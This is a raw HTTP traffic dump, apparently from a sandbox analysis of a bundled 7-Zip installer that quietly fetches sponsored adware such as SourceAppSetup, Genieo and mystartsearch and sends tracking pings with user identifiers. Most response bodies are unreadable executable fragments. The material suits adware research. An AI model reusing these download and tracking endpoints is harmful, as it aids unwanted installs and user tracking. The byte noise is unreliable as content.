...7.y.vYY.f...p...'.....2................,..^......_g.k...`.... ...f3
....w.z?.5.......?.........?.xJ....?....z.Q(.U.... P>..qyq..Ct.....
g.....o^...W......|.a.w...W. ...........n_.. ../............`Iy=..1,w.
........l.u.........{...&eQ}H..7>..=;..............4.v~<j|9..ZN.
..zI...Z9.8..y.~.f..h....r..l..U~.*.|.W..&3..-......u..w.ww'..[t...X..
....._..]~....k.en...H..h.-....x...#.Y.._...../.yg^.u......{.K..Y..CwO
>.VE.........f..r}QW.y[.........-.uQ........M..w?....y%E.^i....y.)`
...h.....5.._p...7..w..V...72.}-3...H...~.=t.....;z..H...]...h.?..?Abp
.....f.....U]...[<...o..........:8..M..........\....vUo..k.J....[.K
..nQ.e.._.S..:<.....6...............u.zS....Y..x.*.....;......B<
}.E6Y...t..2..&..jB.G..e}....g.,..5.~.t......3.4....x....8..u1.".M\..M
Qf3.3V..w....W":.j.8..6n.B:..`..v...#x..Icb..9.-:.H..u^,....*g......9.
..0...(.V[F.G.Wo|.......h.6uY..3......_M...b....'.B.4.u6......m...S.Lw
.......M4k.......m9.....U.......[../[email protected]....:.s.....Y...g...%..D.
I....B..k.......U.G.Lxo%.....$.N.......%.W38..0P.d[..B.....E..x...V.o6
[email protected].*6....;/.b..
;..3.04M.Z..........j..<F.F.t(..G.=.....UU.4uO.}..b..5.b ...&u]
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.mystartsearch.hp HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sat, 14 Feb 2015 04:00:58 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.53 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 14 Feb 20
15 04:00:58 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.53 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:58:22 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?c08fe4720072e56f HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK
Content-Type: application/x-x509-ca-cert
Last-Modified: Thu, 22 Jan 2015 02:19:39 GMT
Accept-Ranges: bytes
ETag: "802facdfe935d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Content-Length: 867
Date: Sat, 14 Feb 2015 04:02:06 GMT
Connection: keep-alive
0.._0..G.............!XS..0...*.H........0L1 0...U....GlobalSign Root 
CA - R31.0...U....GlobalSign1.0...U....GlobalSign0...090318100000Z..29
0318100000Z0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.
0...U....GlobalSign0.."0...*.H.............0.........%v.y.x".......(..
.v....r.F.C....._$..K.`.F.R...Gpl.d...,...=. .......y.;..w...I.jb/.^..
h..'.8...>..&Y.s....&.....[...`.I.(.i;...(....aW7.t..t.:.r/.......=
...3.. .S.:.s..A. :......O..2`.W....hh.8&`u..w..... [email protected].^....w.
d.z._....b..l.Ti....n...qv.i.........B0@0...U...........0...U.......0.
...0...U........K...E$.MP.c.......0...*[email protected].
...A.....(.3.k.t...-..........sgJ..D{x..nlo.).39E....Wl.....S.-.$l..c.
.ShgV>...5!..h....S......]F...zX(./....7A..Dm.S(.~.g.........L'.L.s
sv.....z..-....,.<.U...~6..WI...-|`..AQ.#...2k.....,3.:;%..@.;,.x.a
/....Uo.....M.(.r..bPe.....1....GX?_HTTP/1.1 200 OK..Content-Type: app
lication/x-x509-ca-cert..Last-Modified: Thu, 22 Jan 2015 02:19:39 GMT.
.Accept-Ranges: bytes..ETag: "802facdfe935d01:0"..Server: Microsoft-II
S/7.5..X-Powered-By: ASP.NET..Content-Length: 867..Date: Sat, 14 Feb 2
015 04:02:06 GMT..Connection: keep-alive..0.._0..G.............!XS..0.
..*.H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign
1.0...U....GlobalSign0...090318100000Z..290318100000Z0L1 0...U....Glob
alSign Root CA - R31.0...U....GlobalSign1.0...U....GlobalSign0.."0...*
.H.............0.........%v.y.x".......(...v....r.F.C....._$..K.`.F.R.
..Gpl.d...,...=. .......y.;..w...I.jb/.^..h..'.8...>..&Y.s....&
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Range: bytes 0-583167/583168
Content-Length: 583168
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /windowspm/up?ptid=wpmvt&sid=WindowsMangerProtect&ln=en_us&ver=20.0.0.1714&uid=&upv= HTTP/1.1
Host: VVV.theviilage.com
User-Agent: Mozilla/4.0  
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:02:06 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.14p1
1..1..0..



GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023b93ee3ddb84f912034f3917e580f&uniqid=9b2a2631e07de3ea563da5f894f4918c&affiliate_id=awat7zip54650&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1f9ac8845ca219af3f49645e02cffe6f&tokyo_csrf2_timestamp=1423886216&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.7395209612543288 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awat7zip54650/7zip/a023b93ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.833397082.1423886223.1423886223.1423886223.1; __utmb=1.1.10.1423886223; __utmc=1; __utmz=1.1423886223.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 03:57:44 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sat, 14 Feb 2015 03:57:44 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d4ekdi381yoqv.cloudfront.net
If-Modified-Since: Sun, 02 Nov 2014 08:13:44 GMT
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Connection: keep-alive
Date: Sat, 14 Feb 2015 03:58:15 GMT
Server: nginx
Expires: Sun, 08 Feb 2015 05:11:02 GMT
Cache-Control: max-age=600
Age: 79
Vary: Accept-Encoding
X-Cache: Hit from cloudfront
Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)
X-Amz-Cf-Id: dDyaSba3ixv25fRd1crqquqwxifFh2xE0kgWb0XXnZ62BawPa5ThfQ==
HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Sat, 14 Feb 2
015 03:58:15 GMT..Server: nginx..Expires: Sun, 08 Feb 2015 05:11:02 GM
T..Cache-Control: max-age=600..Age: 79..Vary: Accept-Encoding..X-Cache
: Hit from cloudfront..Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloud
front.net (CloudFront)..X-Amz-Cf-Id: dDyaSba3ixv25fRd1crqquqwxifFh2xE0
kgWb0XXnZ62BawPa5ThfQ==..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=555240-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:58:22 GMT
Content-Type: application/octet-stream
Content-Length: 555236
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=694049-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:57:01 GMT
Content-Type: application/octet-stream
Content-Length: 416427
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d....v#..fh%...R..o!....K.A...........W.."s!....#...
.a.N$S....0..1_......)z.J\......Q.....J.*`.MPYt.....Qb.?re&v..c..X'...
.y..?........d....].]O........=(...&.X=n'.5..)....q.*.....9S..\.c.{..8
...k.....*T...g..>Y"9...m.........J.E"H.: iZ...$..g)..`.d..........
.....O[.OJk.G..{.9......y.....}...........#...b.G...-c..._F...._..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=72896-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:58:15 GMT
Date: Sat, 14 Feb 2015 03:58:15 GMT
Content-Range: bytes 72896-583167/583168
Content-Length: 510272
Connection: keep-alive
o.$(\.ps!.@3Y.~.j.-.......jC.Oq.:<o.:..r......8u..5.r.sv.W.2..7 ...
..=.. .Y.D...H0....A`B.d..4.e..U..,.V(s..n"_wO.$.0......<..@h./5..h
KU...EX(L.y.....r.......7. .E.....~....;6i..m........ ..#.FnXPnr......
..1...X......6&~^..*...xU. ....p....w.......i,{....Q.7b..%.sS..r%....'
.n..P..../.2.U.k1M..&...".e.$...J5.7J......O.-|......4e.;R..z0.L.L.q..
.G(..wFN..|#=....X.Ywf...>..!..a....Js.rw[.U. ...B./.......k.IE.S..
..D......K................!..O.?..H.......O.../Qv`P.#.W^.#%|...^H.....
..w....j&t.hS...Z..i|..#Hr]...nU.?....@.....(:............xFR.4A..:.2.
)[email protected]..}....[`o(W?p?...| ^[email protected].....;..{.z.
..b....m..Yz....U8...&2Pb.b..a....r..Z...K... .3.......a.=..%.\(D..7..
3.a..s..T.....)..V.uZaO.!.....6.../.?$..L......H..*..?...a.... b.c...*
........V..........,..U"cf .lH.h<..."oy...............&._..0.....r.
.)..$...?.g.E[..a4.....%t&.)[email protected]..=..o..Wl..........
....X...7..: -w....tg3.\...!.|_;7.. . ..>e.6/.N%.F...*G....>..#.
j...4.......l\a....=..|......zPl...h....Ry.3.\\..6..i1.K...#..8g..tP..
r....mEn.K[...>4K.v.P.....z<.=Q...'z....$.....V..BN[...w.....4..
w`&.Qh..;..]..u...2'..O....89...v;BL.p.e...K0...[o..Oq...'..8..!<.Z
..].....5.[...,.d3..../`....v..k8........0.2/.1..$....O"e#'DC.([email protected]..
.)UN.!C.7.A..S..Lq......U..G...9.......H...;....o.r..g..w~........K?..
....b/k..M.."..Z....:.R..w9....uu27vl.a.}G.t.......IBZ.....w..G1....@z
... .u[...;...4.....4J../[...zXN5....V.J.......OA....Q....r.C.P!O....\
.e..n..b.....`..nc..'.&....=..lH..{.AM._..."fT.....>.J......T=.
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=247102-494204
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: ZWTfb2TCDYAH9XDWtcSuwVlJHVzwrRO0gkqnUSWwv3ZSri8dgnuoTt5iYW lMqc4
x-amz-request-id: 97B77D24E05FE8E6
Date: Sat, 14 Feb 2015 03:58:19 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 247102-494204/988408
Content-Type: application/octet-stream
Content-Length: 247103
Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~
<<< skipped >>>


GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d4ekdi381yoqv.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Length: 3430
Connection: keep-alive
Server: nginx
Date: Tue, 10 Feb 2015 17:23:17 GMT
Last-Modified: Tue, 10 Feb 2015 14:45:45 GMT
ETag: "54da1999-d66"
Expires: Tue, 10 Feb 2015 17:33:17 GMT
Cache-Control: max-age=600
Accept-Ranges: bytes
Age: 351
X-Cache: Hit from cloudfront
Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)
X-Amz-Cf-Id: aogr1sBhsK4Aq-ZM9WmDeIR50GlxJycEgpYhyY_m0sWqRTNPiW9RUQ==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................
<<< skipped >>>

GET /affiliates/filesfrog/eula.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/032b51a823ded246ba19346b82f99535?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d4ekdi381yoqv.cloudfront.net
If-Modified-Since: Sun, 26 Oct 2014 17:23:05 GMT
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Connection: keep-alive
Date: Sat, 14 Feb 2015 04:01:07 GMT
Server: nginx
Expires: Sun, 08 Feb 2015 05:15:54 GMT
Cache-Control: max-age=600
Age: 172
Vary: Accept-Encoding
X-Cache: Hit from cloudfront
Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)
X-Amz-Cf-Id: lAUWQr4u24-_mM6c8_EUNDpZbkQz_4VIoy5uWRMkA5eA-dc9Rii6Aw==
HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Sat, 14 Feb 2
015 04:01:07 GMT..Server: nginx..Expires: Sun, 08 Feb 2015 05:15:54 GM
T..Cache-Control: max-age=600..Age: 172..Vary: Accept-Encoding..X-Cach
e: Hit from cloudfront..Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: lAUWQr4u24-_mM6c8_EUNDpZbkQz_4VI
oy5uWRMkA5eA-dc9Rii6Aw==..



GET /mirror/mystartsearch/default/setup.exe HTTP/1.1
Range: bytes=120612-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 201020
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:57:06 GMT
x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590
Cache-Control: max-age=3600
Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT
ETag: "31f8d1cffb02dff93646f81d8ce3dd75"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 120612-321631/321632
Age: 477
X-Cache: Hit from cloudfront
Via: 1.1 a436b6df4b0d1bd189edf722b5d2a523.cloudfront.net (CloudFront)
X-Amz-Cf-Id: dm1BXC2rSsGBTFp-eSyhj3a3ZidEg2ZwXPmGwgGaAUepNvzPgyb3Pw==
....p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t....
........p...Q. .t.3.......t......r.....p...Q. .t.3.......t......S.....
p...Q. .t.3.......t....3.....0....P.;Q.tu.....Q. .t.3.......t.........
...p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q
. .t.3.......t....3...........I...@. ...8...3.......D...(....P.;Q.tu..
...Q. .t.3.......t......c.....p...Q. .t.3.......t......D.....p...Q. .t
.3.......t......%.....p...Q. .t.3.......t....3..........P.;Q.tu.....Q.
 .t.3.......t............p...Q. .t.3.......t............p...Q. .t.3...
....t............p...Q. .t.3.......t....3.....{....P.;Q.tu.....Q. .t.3
.......t......U.....p...Q. .t.3.......t......6.....p...Q. .t.3.......t
............p...Q. .t.3.......t....3..........P.;Q.tu.....Q. .t.3.....
..t............p...Q. .t.3.......t............p...Q. .t.3.......t.....
.......p...Q. .t.3.......t....3.....m....P.;Q.tu.....Q. .t.3.......t..
....G.....p...Q. .t.3.......t......(.....p...Q. .t.3.......t..........
..p...Q. .t.3.......t....3..........P.;Q.tv..Q...p. .t.3.......t......
......Q...p. .t.3.......t............Q...p. .t.3.......t............Q.
..p. .t.3.......t....3.....^....P.;Q.tu.....Q. .t.3.......t......8....
.p...Q. .t.3.......t............p...Q. .t.3.......t............p...Q. 
.t.3.......t....3.........f.P.f;Q...f.....Q...p. .......3.......T.....
...........P.;Q.tv..Q...p. .t.3.......t......z.....p...Q. .t.3.......t
......[.....p...Q. .t.3.......t......<.....p...Q. .t.3.......t....3
..........P.;Q.tu.....Q. .t.3.......t............p...Q. .t.3......
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=72896-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Content-Range: bytes 72896-583167/583168
Content-Length: 510272
Connection: keep-alive
o.$(\.ps!.@3Y.~.j.-.......jC.Oq.:<o.:..r......8u..5.r.sv.W.2..7 ...
..=.. .Y.D...H0....A`B.d..4.e..U..,.V(s..n"_wO.$.0......<..@h./5..h
KU...EX(L.y.....r.......7. .E.....~....;6i..m........ ..#.FnXPnr......
..1...X......6&~^..*...xU. ....p....w.......i,{....Q.7b..%.sS..r%....'
.n..P..../.2.U.k1M..&...".e.$...J5.7J......O.-|......4e.;R..z0.L.L.q..
.G(..wFN..|#=....X.Ywf...>..!..a....Js.rw[.U. ...B./.......k.IE.S..
..D......K................!..O.?..H.......O.../Qv`P.#.W^.#%|...^H.....
..w....j&t.hS...Z..i|..#Hr]...nU.?....@.....(:............xFR.4A..:.2.
)[email protected]..}....[`o(W?p?...| ^[email protected].....;..{.z.
..b....m..Yz....U8...&2Pb.b..a....r..Z...K... .3.......a.=..%.\(D..7..
